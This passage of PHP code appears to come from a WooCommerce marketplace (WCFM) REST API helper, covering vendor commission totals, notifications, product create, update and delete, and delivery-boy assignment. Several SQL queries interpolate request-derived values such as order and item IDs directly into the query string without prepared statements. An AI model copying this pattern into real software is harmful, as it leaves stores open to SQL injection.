$gross_commission_ids = [];
$gross_total_refund_amount = 0;
if (!empty($gross_sales_whole_week)) {
foreach ($gross_sales_whole_week as $net_sale_whole_week) {
$gross_commission_ids[] = $net_sale_whole_week->ID;
$gross_total_refund_amount += (float)sanitize_text_field(
$net_sale_whole_week->refunded_amount
);
}
if (!empty($gross_commission_ids)) {
try {
if (
apply_filters(
"wcfmmmp_gross_sales_respect_setting",
true
)
) {
$gross_sales = (float)$WCFMmp->wcfmmp_commission->wcfmmp_get_commission_meta_sum(
$gross_commission_ids,
"gross_total"
);
} else {
$gross_sales = (float)$WCFMmp->wcfmmp_commission->wcfmmp_get_commission_meta_sum(
$gross_commission_ids,
"gross_sales_total"
);
}
// Deduct Refunded Amount
$gross_sales -= (float)$gross_total_refund_amount;
} catch (Exception $e) {
//continue;
}
}
}
}
if (!$gross_sales) {
$gross_sales = 0;
}
return $gross_sales;
}
/**
* Total commission paid by Admin
*/
function wcfm_get_commission_by_vendor(
$vendor_id = "",
$interval = "7day",
$is_paid = false,
$order_id = 0,
$filter_date_form = "",
$filter_date_to = ""
)
{
global $WCFM, $wpdb, $WCMp;
if ($vendor_id) {
$vendor_id = absint($vendor_id);
}
$commission = 0;
$marketplece = wcfm_is_marketplace();
if ($marketplece == "wcvendors") {
$commission_table = "pv_commission";
$total_due = "total_due";
$total_shipping = "total_shipping";
$tax = "tax";
$shipping_tax = "tax";
$status = "status";
$time = "time";
$vendor_handler = "vendor_id";
$table_handler = "commission";
} elseif ($marketplece == "wcmarketplace") {
$commission_table = "wcmp_vendor_orders";
$total_due = "commission_amount";
$total_shipping = "shipping";
$tax = "tax";
$shipping_tax = "shipping_tax_amount";
$status = "commission_status";
$vendor_handler = "vendor_id";
$table_handler = "commission";
if ($is_paid) {
$time = "commission_paid_date";
} else {
$time = "created";
}
} elseif ($marketplece == "wcpvendors") {
$commission_table = "wcpv_commissions";
$total_due = "total_commission_amount";
$total_shipping = "product_shipping_amount";
$tax = "product_tax_amount";
$shipping_tax = "product_shipping_tax_amount";
$status = "commission_status";
$vendor_handler = "vendor_id";
$table_handler = "commission";
if ($is_paid) {
$time = "paid_date";
} else {
$time = "order_date";
}
} elseif ($marketplece == "dokan") {
$order_status = apply_filters("wcfm_dokan_allowed_order_status", [
"completed",
"processing",
"on-hold",
]);
$commission_table = "dokan_orders";
$total_due = "net_amount";
$time = "post_date";
$vendor_handler = "seller_id";
$table_handler = "p";
if ($is_paid) {
$sql = "SELECT SUM( withdraw.amount ) AS amount FROM {$wpdb->prefix}dokan_withdraw AS withdraw";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND withdraw.user_id = {$vendor_id}";
}
$sql .= " AND withdraw.status = 1";
$sql = $this->wcfm_query_time_range_filter(
$sql,
"date",
$interval,
$filter_date_form,
$filter_date_to,
"withdraw"
);
$total_commissions = $wpdb->get_results($sql);
$commission = 0;
if (!empty($total_commissions)) {
foreach ($total_commissions as $total_commission) {
$commission += $total_commission->amount;
}
}
if (!$commission) {
$commission = 0;
}
return $commission;
}
} elseif ($marketplece == "wcfmmarketplace") {
$commission_table = "wcfm_marketplace_orders";
$total_due = "total_commission";
$total_shipping = "shipping";
$tax = "tax";
$shipping_tax = "shipping_tax_amount";
$status = "withdraw_status";
$vendor_handler = "vendor_id";
$table_handler = "commission";
if ($is_paid) {
$time = "commission_paid_date";
} else {
$time = "created";
}
}
if ($marketplece == "dokan") {
$order_status = apply_filters("wcfm_dokan_allowed_order_status", [
"completed",
"processing",
"on-hold",
]);
$sql = "SELECT SUM( commission.{$total_due} ) AS total_due FROM {$wpdb->prefix}{$commission_table} AS commission LEFT JOIN {$wpdb->posts} p ON commission.order_id = p.ID";
} else {
$sql = "SELECT SUM( commission.{$total_due} ) AS total_due, SUM( commission.{$total_shipping} ) AS total_shipping, SUM( commission.{$tax} ) AS tax, SUM( commission.{$shipping_tax} ) AS shipping_tax FROM {$wpdb->prefix}{$commission_table} AS commission";
}
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND commission.{$vendor_handler} = {$vendor_id}";
}
if ($is_paid) {
$sql .= " AND (commission.{$status} = 'paid' OR commission.{$status} = 'completed')";
}
if ($marketplece == "wcmarketplace") {
$sql .=
" AND commission.commission_id != 0 AND commission.commission_id != '' AND `is_trashed` != 1";
}
if ($marketplece == "dokan") {
$status = dokan_withdraw_get_active_order_status_in_comma();
$sql .= " AND commission.order_status IN ({$status})";
}
if ($marketplece == "wcfmmarketplace") {
if ($order_id) {
$sql .= " AND `order_id` = {$order_id}";
} else {
$sql .= apply_filters(
"wcfm_order_status_condition",
"",
"commission"
);
$sql .= " AND `is_refunded` = 0 AND `is_trashed` = 0";
}
}
if (!$order_id) {
$sql = $this->wcfm_query_time_range_filter(
$sql,
$time,
$interval,
$filter_date_form,
$filter_date_to,
$table_handler
);
}
$total_commissions = $wpdb->get_results($sql);
$commission = 0;
if (!empty($total_commissions)) {
foreach ($total_commissions as $total_commission) {
$commission += $total_commission->total_due;
if ($marketplece == "wcvendors") {
if (version_compare(WCV_VERSION, "2.0.0", "<")) {
if (WC_Vendors::$pv_options->get_option("give_tax")) {
$commission += $total_commission->total_shipping;
}
if (
WC_Vendors::$pv_options->get_option("give_shipping")
) {
$commission += $total_commission->tax;
}
} else {
if (get_option("wcvendors_vendor_give_taxes")) {
$commission += $total_commission->total_shipping;
}
if (get_option("wcvendors_vendor_give_shipping")) {
$commission += $total_commission->tax;
}
}
} elseif ($marketplece == "wcmarketplace") {
if (
$WCMp->vendor_caps->vendor_payment_settings(
"give_shipping"
)
) {
$commission +=
$total_commission->total_shipping == "NAN"
? 0
: $total_commission->total_shipping;
}
if (
$WCMp->vendor_caps->vendor_payment_settings("give_tax")
) {
$commission +=
$total_commission->tax == "NAN"
? 0
: $total_commission->tax;
$commission +=
$total_commission->shipping_tax == "NAN"
? 0
: $total_commission->shipping_tax;
}
}
}
}
if (!$commission) {
$commission = 0;
}
return $commission;
}
/* GET WCFM SALE STATS FUNCTIONS. CUSTOM BY TOAN 04/11/2020 */
/* GET NOTIFICATIONS */
function get_notification_by_vendor($request, $user_id)
{
global $WCFM, $wpdb;
$wcfm_messages = array();
if (isset($request["per_page"]) && $request["per_page"]) {
$limit = sanitize_text_field($request['per_page']);
$offset = sanitize_text_field($request['page']);
if(!is_numeric($offset)){
$offset = 1;
}
if(!is_numeric($limit)){
$limit = 10;
}
$offset = ($offset - 1) * $limit;
$message_to = apply_filters("wcfm_message_author", $user_id);
$sql =
"SELECT wcfm_messages.* FROM " .
$wpdb->prefix .
"wcfm_messages AS wcfm_messages";
$vendor_filter = " WHERE ( `author_id` = {$message_to} OR `message_to` = -1 OR `message_to` = {$message_to} )";
$sql .= $vendor_filter;
$message_status_filter = " AND NOT EXISTS (SELECT * FROM {$wpdb->prefix}wcfm_messages_modifier as wcfm_messages_modifier_2 WHERE wcfm_messages.ID = wcfm_messages_modifier_2.message AND wcfm_messages_modifier_2.read_by={$message_to})";
$sql .= $message_status_filter;
$sql .= " ORDER BY wcfm_messages.`ID` DESC";
$sql .= " LIMIT $limit";
$sql .= " OFFSET $offset";
$wcfm_messages = $wpdb->get_results($sql);
foreach ($wcfm_messages as $wcfm_message) {
unset(
$wcfm_message->author_id,
$wcfm_message->reply_to,
$wcfm_message->author_is_admin,
$wcfm_message->author_is_vendor,
$wcfm_message->author_is_customer,
$wcfm_message->is_notice,
$wcfm_message->is_direct_message,
$wcfm_message->is_pined,
$wcfm_message->message_to
);
$wcfm_message->message = strip_tags($wcfm_message->message);
}
}
return new WP_REST_Response(
[
"status" => "success",
"response" => $wcfm_messages,
],
200
);
}
/// CREATE ///
public function vendor_admin_create_product($request, $user_id)
{
$user = get_userdata($user_id);
$isSeller = in_array("wcfm_vendor", $user->roles);
$requestStatus = "draft";
if ($request["status"] != null) {
$requestStatus = sanitize_text_field($request["status"]);
}
$name = sanitize_text_field($request["name"]);
$description = sanitize_text_field($request["description"]);
$short_description = sanitize_text_field($request["short_description"]);
$featured_image = sanitize_text_field($request['featuredImage']);
$product_images = sanitize_text_field($request['images']);
$type = sanitize_text_field($request['type']);
$tags = sanitize_text_field($request['tags']);
$featured = sanitize_text_field($request['featured']);
$regular_price = sanitize_text_field($request['regular_price']);
$sale_price = sanitize_text_field($request['sale_price']);
$date_on_sale_from = sanitize_text_field($request['date_on_sale_from']);
$date_on_sale_from_gmt = sanitize_text_field($request['date_on_sale_from_gmt']);
$date_on_sale_to = sanitize_text_field($request['date_on_sale_to']);
$date_on_sale_to_gmt = sanitize_text_field($request['date_on_sale_to_gmt']);
$in_stock = sanitize_text_field($request['in_stock']);
$stock_quantity = sanitize_text_field($request['stock_quantity']);
$manage_stock = sanitize_text_field($request['manage_stock']);
$backorders = sanitize_text_field($request['backorders']);
$categories = sanitize_text_field($request['categories']);
$productAttributes = sanitize_text_field($request['productAttributes']);
$variations = sanitize_text_field($request['variations']);
$inventory_delta = sanitize_text_field($request['inventory_delta']);
$count = 1;
if ($isSeller) {
$args = [
"post_author" => $user_id,
"post_content" => $description,
"post_status" => $requestStatus, // (Draft | Pending | Publish)
"post_title" => $name,
"post_parent" => "",
"post_type" => "product",
];
// Create a simple WooCommerce product
$post_id = wp_insert_post($args);
$product = wc_get_product($post_id);
if ($product->get_type() != $request["type"]) {
// Get the correct product classname from the new product type
$product_classname = WC_Product_Factory::get_product_classname(
$product->get_id(),
$type
);
// Get the new product object from the correct classname
$product = new $product_classname($product->get_id());
$product->save();
}
if (isset($featured_image)) {
if (!empty($featured_image)) {
if ($this->http_check($featured_image)) {
$featured_image_id = $this->find_image_id(
$featured_image
);
$product->set_image_id($featured_image_id);
} else {
$featured_image_id = upload_image_from_mobile(
$featured_image,
$count,
$user_id
);
$product->set_image_id($featured_image_id);
$count = $count + 1;
}
} else {
$product->set_image_id("");
}
}
if (isset($product_images)) {
$product_images_array = array_filter(
explode(",", $product_images)
);
$img_array = [];
foreach ($product_images_array as $p_img) {
if (!empty($p_img)) {
if ($this->http_check($p_img)) {
$img_id = $this->find_image_id($p_img);
array_push($img_array, $img_id);
} else {
$img_id = upload_image_from_mobile(
$p_img,
$count,
$user_id
);
array_push($img_array, $img_id);
$count = $count + 1;
}
}
}
$product->set_gallery_image_ids($img_array);
}
if (isset($tags)) {
$tags = array_filter(explode(",", $tags));
wp_set_object_terms($post_id, $tags, "product_tag");
}
/// Set attributes to product
if (isset($product) && !is_wp_error($product)) {
if (isset($name)) {
$product->set_name(wp_filter_post_kses($name));
}
// Featured Product.
if (isset($featured)) {
$product->set_featured($featured);
}
// SKU.
if (isset($request["sku"])) {
$product->set_sku(wc_clean($request["sku"]));
}
// Sales and prices.
if (
in_array(
$product->get_type(),
["variable", "grouped"],
true
)
) {
$product->set_regular_price("");
$product->set_sale_price("");
$product->set_date_on_sale_to("");
$product->set_date_on_sale_from("");
$product->set_price("");
} else {
// Regular Price.
if (isset($regular_price)) {
$product->set_regular_price($regular_price);
}
// Sale Price.
if (isset($sale_price) && !empty($sale_price)) {
$product->set_sale_price($sale_price);
}
if (isset($date_on_sale_from)) {
$product->set_date_on_sale_from($date_on_sale_from);
}
if (isset($date_on_sale_from_gmt)) {
$product->set_date_on_sale_from($date_on_sale_from_gmt ? strtotime($date_on_sale_from_gmt) : null);
}
if (isset($date_on_sale_to)) {
$product->set_date_on_sale_to($date_on_sale_to);
}
if (isset($date_on_sale_to_gmt)) {
$product->set_date_on_sale_to($date_on_sale_to_gmt ? strtotime($date_on_sale_to_gmt) : null);
}
}
// Description
if (isset($description)) {
$product->set_description($description);
}
if (isset($short_description)) {
$product->set_description($short_description);
}
// Stock status.
if (isset($in_stock) && is_bool($in_stock)) {
$stock_status = true === $in_stock ? 'instock' : 'outofstock';
} else {
$stock_status = $product->get_stock_status();
}
// Stock data.
if ("yes" === get_option("woocommerce_manage_stock")) {
// Manage stock.
if (isset($manage_stock)) {
$product->set_manage_stock($manage_stock);
}
// Backorders.
if (isset($backorders)) {
$product->set_backorders($backorders);
}
if ($product->is_type("grouped")) {
$product->set_manage_stock("no");
$product->set_backorders("no");
$product->set_stock_quantity("");
$product->set_stock_status($stock_status);
} elseif ($product->is_type("external")) {
$product->set_manage_stock("no");
$product->set_backorders("no");
$product->set_stock_quantity("");
$product->set_stock_status("instock");
} elseif ($product->get_manage_stock()) {
// Stock status is always determined by children so sync later.
if (!$product->is_type('variable')) {
$product->set_stock_status($stock_status);
}
// Stock quantity.
if (isset($stock_quantity)) {
$product->set_stock_quantity(wc_stock_amount($stock_quantity));
} elseif (isset($inventory_delta)) {
$stock_quantity = wc_stock_amount($product->get_stock_quantity());
$stock_quantity += wc_stock_amount($inventory_delta);
$product->set_stock_quantity(wc_stock_amount($stock_quantity));
}
} else {
// Don't manage stock.
$product->set_manage_stock("no");
$product->set_stock_quantity("");
$product->set_stock_status($stock_status);
}
} elseif (!$product->is_type("variable")) {
$product->set_stock_status($stock_status);
}
//Assign categories
if (isset($categories)) {
$categories = array_filter(explode(',', $categories));
if (!empty($categories)) {
$categoryArray = array();
foreach ($categories as $index) {
$categoryArray[] = absint($index);
}
$product->set_category_ids($categoryArray);
}
}
//Description
$product->set_short_description($short_description);
$product->set_description($description);
$attribute_json = json_decode($productAttributes, true);
$pro_attributes = [];
foreach ($attribute_json as $key => $value) {
if ($value["isActive"]) {
$attribute_name = strtolower($value["slug"]);
if ($value["default"]) {
$attribute_name = strtolower(
"pa_" . $value["slug"]
);
}
$attribute_id = wc_attribute_taxonomy_id_by_name(
$attribute_name
);
$attribute = new WC_Product_Attribute();
$attribute->set_id($attribute_id);
$attribute->set_name(wc_clean($attribute_name));
$options = $value["options"];
$attribute->set_options($options);
$attribute->set_visible($value["visible"]);
$attribute->set_variation($value["variation"]);
$pro_attributes[] = $attribute;
}
}
$product->set_props([
"attributes" => $pro_attributes,
]);
if (is_wp_error($product)) {
return $this->sendError("request_failed", "Bad data", 400);
}
$product->save();
if ($product->get_type() == "variable") {
$variations_arr = json_decode($variations, true);
foreach ($variations_arr as $variation) {
// Creating the product variation
$variation_post = [
"post_title" => $product->get_title(),
"post_name" =>
"product-" . $product->get_id() . "-variation",
"post_status" => "publish",
"post_parent" => $product->get_id(),
"post_type" => "product_variation",
"guid" => $product->get_permalink(),
];
$variation_id = wp_insert_post($variation_post);
foreach ($variation["slugs"] as $key => $value) {
$variationAttrArr[$key] = strtolower(
strval($value)
);
}
$variationProduct = new WC_Product_Variation(
$variation_id
);
$variationProduct->set_regular_price(
$variation["display_regular_price"]
);
$variationProduct->set_sale_price(
$variation["display_price"]
);
$variationProduct->set_stock_quantity(
$variation["max_qty"]
);
$variationProduct->set_attributes($variationAttrArr);
$variationProduct->set_manage_stock(
boolval($variation["manage_stock"])
);
$variationProduct->set_status(
$variation["variation_is_active"]
? "publish"
: "private"
);
$variationProduct->save();
}
}
wp_update_post([
"ID" => $product->get_id(),
"post_author" => $user_id,
]);
//print_r($product);
$image_arr = [];
$p = $product->get_data();
foreach (array_filter($p["gallery_image_ids"]) as $img) {
$image = wp_get_attachment_image_src($img, "full");
if (!is_null($image[0])) {
$image_arr[] = $image[0];
}
}
$p["description"] = strip_tags($p["description"]);
$p["short_description"] = strip_tags($p["short_description"]);
$p["images"] = $image_arr;
$image = wp_get_attachment_image_src($p["image_id"], "full");
if (!is_null($image[0])) {
$p["featured_image"] = $image[0];
}
$p["type"] = $product->get_type();
$p["on_sale"] = $product->is_on_sale();
if ($product->get_type() == "variable") {
$query = [
"post_parent" => $product->get_id(),
"post_status" => ["publish", "private"],
"post_type" => ["product_variation"],
"posts_per_page" => -1,
];
$wc_query = new WP_Query($query);
while ($wc_query->have_posts()) {
$wc_query->next_post();
$result[] = $wc_query->post;
}
foreach ($result as $variation) {
$p_varation = new WC_Product_Variation($variation->ID);
$dataVariation = array();
$dataVariation["variation_id"] = $p_varation->get_id();
$dataVariation["max_qty"] = $p_varation->get_stock_quantity();
$dataVariation["variation_is_active"] =
$p_varation->get_status() == "publish";
$dataVariation["display_price"] = $p_varation->get_sale_price();
$dataVariation["display_regular_price"] = $p_varation->get_regular_price();
$dataVariation["attributes"] = $p_varation->get_attributes();
$dataVariation["manage_stock"] = $p_varation->get_manage_stock();
$p["variable_products"][] = $dataVariation;
}
}
return new WP_REST_Response(
[
"status" => "success",
"response" => $p,
],
200
);
}
} else {
return $this->sendError(
"invalid_role",
"You must be seller to create product",
401
);
}
}
/// UPDATE ///
public function vendor_admin_update_product($request, $user_id)
{
$id = isset($request['id']) ? $request['id'] : 0;
if (isset($id) && is_numeric($id)) {
$product = $this->get_product_item($id);
} else {
return $this->sendError("request_failed", "Invalid data", 400);
}
/// Validate requested user_id and product_id
$post_obj = get_post($product->get_id());
$author_id = $post_obj->post_author;
if ($user_id != $author_id) {
return $this->sendError(
"unauthorized",
"You are not allow to do this",
401
);
}
$name = sanitize_text_field($request["name"]);
$description = sanitize_text_field($request["description"]);
$short_description = sanitize_text_field($request["short_description"]);
$featured_image = sanitize_text_field($request['featuredImage']);
$product_images = sanitize_text_field($request['images']);
$type = sanitize_text_field($request['type']);
$tags = sanitize_text_field($request['tags']);
$featured = sanitize_text_field($request['featured']);
$regular_price = sanitize_text_field($request['regular_price']);
$sale_price = sanitize_text_field($request['sale_price']);
$date_on_sale_from = sanitize_text_field($request['date_on_sale_from']);
$date_on_sale_from_gmt = sanitize_text_field($request['date_on_sale_from_gmt']);
$date_on_sale_to = sanitize_text_field($request['date_on_sale_to']);
$date_on_sale_to_gmt = sanitize_text_field($request['date_on_sale_to_gmt']);
$in_stock = sanitize_text_field($request['in_stock']);
$stock_quantity = sanitize_text_field($request['stock_quantity']);
$manage_stock = sanitize_text_field($request['manage_stock']);
$backorders = sanitize_text_field($request['backorders']);
$categories = sanitize_text_field($request['categories']);
$productAttributes = sanitize_text_field($request['productAttributes']);
$variations = sanitize_text_field($request['variations']);
$inventory_delta = sanitize_text_field($request['inventory_delta']);
$status = sanitize_text_field($request['status']);
$count = 1;
if ($product->get_type() != $type) {
// Get the correct product classname from the new product type
$product_classname = WC_Product_Factory::get_product_classname(
$product->get_id(),
$type
);
// Get the new product object from the correct classname
$product = new $product_classname($product->get_id());
$product->save();
}
if (isset($tags)) {
$tags = array_filter(explode(",", $tags));
wp_set_object_terms($product->get_id(), $tags, "product_tag");
}
if (isset($featured_image)) {
if (!empty($featured_image)) {
if ($this->http_check($featured_image)) {
$featured_image_id = $this->find_image_id($featured_image);
$product->set_image_id($featured_image_id);
} else {
$featured_image_id = upload_image_from_mobile(
$featured_image,
$count,
$user_id
);
$product->set_image_id($featured_image_id);
$count = $count + 1;
}
} else {
$product->set_image_id("");
}
}
if (isset($product_images)) {
$product_images_array = array_filter(explode(",", $product_images));
$img_array = [];
foreach ($product_images_array as $p_img) {
if (!empty($p_img)) {
if ($this->http_check($p_img)) {
$img_id = $this->find_image_id($p_img);
array_push($img_array, $img_id);
} else {
$img_id = upload_image_from_mobile(
$p_img,
$count,
$user_id
);
array_push($img_array, $img_id);
$count = $count + 1;
}
}
}
$product->set_gallery_image_ids($img_array);
}
/// Set attributes to product
if (isset($product) && !is_wp_error($product)) {
if (isset($name)) {
$product->set_name(wp_filter_post_kses($name));
}
// Featured Product.
if (isset($featured)) {
$product->set_featured($featured);
}
// SKU.
if (isset($request['sku'])) {
$product->set_sku(wc_clean($request['sku']));
}
// Sales and prices.
$product->set_status($status);
if (in_array($product->get_type(), ["variable", "grouped"], true)) {
$product->set_regular_price("");
$product->set_sale_price("");
$product->set_date_on_sale_to("");
$product->set_date_on_sale_from("");
$product->set_price("");
} else {
// Regular Price.
if (isset($regular_price)) {
$product->set_regular_price($regular_price);
}
// Sale Price.
if (isset($sale_price) && !empty($sale_price)) {
$product->set_sale_price($sale_price);
}
if (isset($date_on_sale_from)) {
$product->set_date_on_sale_from($date_on_sale_from);
}
if (isset($date_on_sale_from_gmt)) {
$product->set_date_on_sale_from($date_on_sale_from_gmt ? strtotime($date_on_sale_from_gmt) : null);
}
if (isset($date_on_sale_to)) {
$product->set_date_on_sale_to($date_on_sale_to);
}
if (isset($date_on_sale_to_gmt)) {
$product->set_date_on_sale_to($date_on_sale_to_gmt ? strtotime($date_on_sale_to_gmt) : null);
}
}
// Description
if (isset($description)) {
$product->set_description(strip_tags($description));
}
if (isset($short_description)) {
$product->set_short_description(strip_tags($short_description));
}
// Stock status.
if (isset($in_stock)) {
$stock_status = true === $in_stock ? 'instock' : 'outofstock';
} else {
$stock_status = $product->get_stock_status();
}
// Stock data.
if ("yes" === get_option("woocommerce_manage_stock")) {
// Manage stock.
if (isset($manage_stock)) {
$product->set_manage_stock($manage_stock);
}
// Backorders.
if (isset($backorders)) {
$product->set_backorders($backorders);
}
if ($product->is_type("grouped")) {
$product->set_manage_stock("no");
$product->set_backorders("no");
$product->set_stock_quantity("");
$product->set_stock_status($stock_status);
} elseif ($product->is_type("external")) {
$product->set_manage_stock("no");
$product->set_backorders("no");
$product->set_stock_quantity("");
$product->set_stock_status("instock");
} elseif ($product->get_manage_stock()) {
// Stock status is always determined by children so sync later.
if (!$product->is_type("variable")) {
$product->set_stock_status($stock_status);
}
// Stock quantity.
if (isset($stock_quantity)) {
$product->set_stock_quantity(wc_stock_amount($stock_quantity));
} elseif (isset($request['inventory_delta'])) {
$stock_quantity = wc_stock_amount($product->get_stock_quantity());
$stock_quantity += wc_stock_amount($inventory_delta);
$product->set_stock_quantity(wc_stock_amount($stock_quantity));
}
} else {
// Don't manage stock.
$product->set_manage_stock("no");
$product->set_stock_quantity("");
$product->set_stock_status($stock_status);
}
} elseif (!$product->is_type("variable")) {
$product->set_stock_status($stock_status);
}
//Assign categories
if (isset($categories)) {
$categories = array_filter(explode(',', $categories));
if (!empty($categories)) {
$categoryArray = array();
foreach ($categories as $index) {
$categoryArray[] = absint($index);
}
$product->set_category_ids($categoryArray);
} else {
$product->set_category_ids(array());
}
}
//Description
$product->set_short_description($short_description);
$product->set_description($description);
if (is_wp_error($product)) {
return $this->sendError("request_failed", "Bad data", 400);
}
$attribute_json = json_decode($productAttributes, true);
$pro_attributes = [];
foreach ($attribute_json as $key => $value) {
if ($value["isActive"]) {
$attribute_name = strtolower($value["slug"]);
if ($value["default"]) {
$attribute_name = strtolower("pa_" . $value["slug"]);
}
$attribute_id = wc_attribute_taxonomy_id_by_name(
$attribute_name
);
$attribute = new WC_Product_Attribute();
$attribute->set_id($attribute_id);
$attribute->set_name(wc_clean($attribute_name));
$options = $value["options"];
$attribute->set_options($options);
$attribute->set_visible($value["visible"]);
$attribute->set_variation($value["variation"]);
$pro_attributes[] = $attribute;
}
}
$product->set_props([
"attributes" => $pro_attributes,
]);
$product->save();
if ($product->is_type("variable")) {
$variations_arr = json_decode($variations, true);
foreach ($variations_arr as $variation) {
if ($variation["variation_id"] != -1) {
foreach ($variation["slugs"] as $key => $value) {
$variationAttrArr[$key] = strtolower(
strval($value)
);
}
$variationProduct = new WC_Product_Variation(
$variation["variation_id"]
);
$variationProduct->set_regular_price(
$variation["display_regular_price"]
);
$variationProduct->set_sale_price(
$variation["display_price"]
);
$variationProduct->set_stock_quantity(
$variation["max_qty"]
);
$variationProduct->set_attributes($variationAttrArr);
$variationProduct->set_manage_stock(
boolval($variation["manage_stock"])
);
$variationProduct->set_status(
$variation["variation_is_active"]
? "publish"
: "private"
);
$variationProduct->save();
} else {
// Creating the product variation
$variation_post = [
"post_title" => $product->get_title(),
"post_name" =>
"product-" . $product->get_id() . "-variation",
"post_status" => "publish",
"post_parent" => $product->get_id(),
"post_type" => "product_variation",
"guid" => $product->get_permalink(),
];
$variation_id = wp_insert_post($variation_post);
foreach ($variation["slugs"] as $key => $value) {
$variationAttrArr[$key] = strtolower(
strval($value)
);
}
$variationProduct = new WC_Product_Variation(
$variation_id
);
$variationProduct->set_regular_price(
$variation["display_regular_price"]
);
$variationProduct->set_sale_price(
$variation["display_price"]
);
$variationProduct->set_stock_quantity(
$variation["max_qty"]
);
$variationProduct->set_attributes($variationAttrArr);
$variationProduct->set_manage_stock(
boolval($variation["manage_stock"])
);
$variationProduct->set_status(
$variation["variation_is_active"]
? "publish"
: "private"
);
$variationProduct->save();
}
}
}
wp_update_post([
"ID" => $product->get_id(),
"post_author" => $user_id,
]);
//print_r($product);
$image_arr = [];
$p = $product->get_data();
foreach (array_filter($p["gallery_image_ids"]) as $img) {
$image = wp_get_attachment_image_src($img, "full");
if (!is_null($image[0])) {
$image_arr[] = $image[0];
}
}
$p["description"] = strip_tags($p["description"]);
$p["short_description"] = strip_tags($p["short_description"]);
$p["images"] = $image_arr;
$image = wp_get_attachment_image_src($p["image_id"], "full");
if (!is_null($image[0])) {
$p["featured_image"] = $image[0];
}
$p["type"] = $product->get_type();
$p["on_sale"] = $product->is_on_sale();
$attributes = [];
foreach ($product->get_attributes() as $attribute) {
$attributes[] = [
"id" => $attribute["is_taxonomy"]
? wc_attribute_taxonomy_id_by_name($attribute["name"])
: 0,
"name" => $this->get_attribute_taxonomy_name(
$attribute["name"],
$product
),
"position" => (int)$attribute["position"],
"visible" => (bool)$attribute["is_visible"],
"variation" => (bool)$attribute["is_variation"],
"options" => $this->get_attribute_options(
$product->get_id(),
$attribute
),
"slugs" => $this->get_attribute_slugs(
$product->get_id(),
$attribute
),
"default" => 0 === strpos($attribute["name"], "pa_"),
];
}
$p["attributesData"] = $attributes;
if ($product->is_type("variable")) {
$query = [
"post_parent" => $product->get_id(),
"post_status" => ["publish", "private"],
"post_type" => ["product_variation"],
"posts_per_page" => -1,
];
$wc_query = new WP_Query($query);
while ($wc_query->have_posts()) {
$wc_query->next_post();
$result[] = $wc_query->post;
}
foreach ($result as $variation) {
$p_varation = new WC_Product_Variation($variation->ID);
$dataVariation = array();
$dataVariation["variation_id"] = $p_varation->get_id();
$dataVariation["max_qty"] = $p_varation->get_stock_quantity();
$dataVariation["variation_is_active"] =
$p_varation->get_status() == "publish";
$dataVariation["display_price"] = $p_varation->get_sale_price();
$dataVariation["display_regular_price"] = $p_varation->get_regular_price();
$attributes = $p_varation->get_attributes();
foreach ($attributes as $attribute) {
$slugs[] = $attribute["value"];
}
$dataVariation["attributes"] = $attributes;
$dataVariation["slugs"] = $slugs;
$dataVariation["manage_stock"] = $p_varation->get_manage_stock();
$p["variable_products"][] = $dataVariation;
}
}
return new WP_REST_Response(
[
"status" => "success",
"response" => $p,
],
200
);
}
}
/// DELETE ///
public function vendor_admin_delete_product($request, $user_id)
{
/// Validate product ID
$id = isset($request['id']) ? $request['id'] : 0;
if (isset($request['id']) && is_numeric($id)) {
$product = $this->get_product_item($id);
} else {
return $this->sendError("request_failed", "Invalid data", 400);
}
/// Validate requested user_id and product_id
$post_obj = get_post($product->get_id());
$author_id = $post_obj->post_author;
if ($user_id != $author_id) {
return $this->sendError(
"unauthorized",
"You are not allow to do this",
401
);
}
wp_delete_post($product->get_id());
return new WP_REST_Response(
[
"status" => "success",
"response" => "",
],
200
);
}
function wcfm_update_order_delivery_boys_meta($order_id, $delivery_boys_array = array())
{
if (empty($delivery_boys_array)) $delivery_boys_array = wcfm_get_order_delivery_boys($order_id);
$delivery_boys_string = '';
if (!empty($delivery_boys_array)) {
foreach ($delivery_boys_array as $delivery_boy) {
if (!empty($delivery_boy['delivery_boy'])) {
$delivery_boys_string .= ',' . $delivery_boy['delivery_boy'];
}
}
update_post_meta($order_id, '_wcfm_delivery_boys', $delivery_boys_string);
}
}
function wcfm_get_order_delivery_boys($order_id, $order_item_id = '')
{
global $WCFM, $WCFMd, $wpdb;
$delivery_boys_array = array();
if (!$order_id) return $delivery_boys_array;
$sql = "SELECT * FROM `{$wpdb->prefix}wcfm_delivery_orders`";
$sql .= " WHERE 1=1";
$sql .= " AND order_id = {$order_id}";
if (apply_filters('wcfm_is_show_marketplace_itemwise_orders', true)) {
if ($order_item_id) $sql .= " AND item_id = {$order_item_id}";
} else {
$sql .= " GROUP BY vendor_id";
}
$delivery_boys = $wpdb->get_results($sql);
if (!empty($delivery_boys)) {
foreach ($delivery_boys as $delivery_boy) {
$delivery_boys_array[] = array('order' => $order_id, 'item' => $delivery_boy->item_id, 'vendor' => $delivery_boy->vendor_id, 'delivery_boy' => $delivery_boy->delivery_boy, 'status' => $delivery_boy->delivery_status);
}
}
return apply_filters('wcfm_delivery_boys', $delivery_boys_array, $order_id, $order_item_id, $delivery_boys);
}
public function wcfmd_delivery_boy_assigned($request, $vendor_id)
{
global $WCFM, $WCFMmp, $WCFMu, $WCFMd, $wpdb;
$order_id = sanitize_text_field($request["wcfm_tracking_order_id"]);
$order_item_id = sanitize_text_field($request["wcfm_tracking_order_item_id"]);
$wcfm_delivery_boy = sanitize_text_field($request["wcfm_delivery_boy"]);
$product_id = sanitize_text_field($request["wcfm_tracking_product_id"]);
$wcfm_tracking_data = [
"wcfm_tracking_code" => sanitize_text_field($request["wcfm_tracking_code"]),
"wcfm_tracking_url" => sanitize_text_field($request["wcfm_tracking_url"]),
"wcfm_tracking_order_id" => sanitize_text_field($request["wcfm_tracking_order_id"]),
"wcfm_tracking_product_id" => sanitize_text_field($request["wcfm_tracking_product_id"]),
"wcfm_tracking_order_item_id" =>
sanitize_text_field($request["wcfm_tracking_order_item_id"]),
"wcfm_delivery_boy" => sanitize_text_field($request["wcfm_delivery_boy"]),
];
$wcfm_delivery_boy = absint($wcfm_delivery_boy);
if ($wcfm_delivery_boy) {
$wcfm_delivery_boy_user = get_userdata($wcfm_delivery_boy);
// Order Item Meta Update
if (apply_filters("wcfm_is_allow_delivery_boy_as_meta", true)) {
wc_update_order_item_meta(
$order_item_id,
"wcfm_delivery_boy",
$wcfm_delivery_boy
);
}
// Order Meta Update
wcfm_update_order_delivery_boys_meta($order_id);
// Delivery Order Update
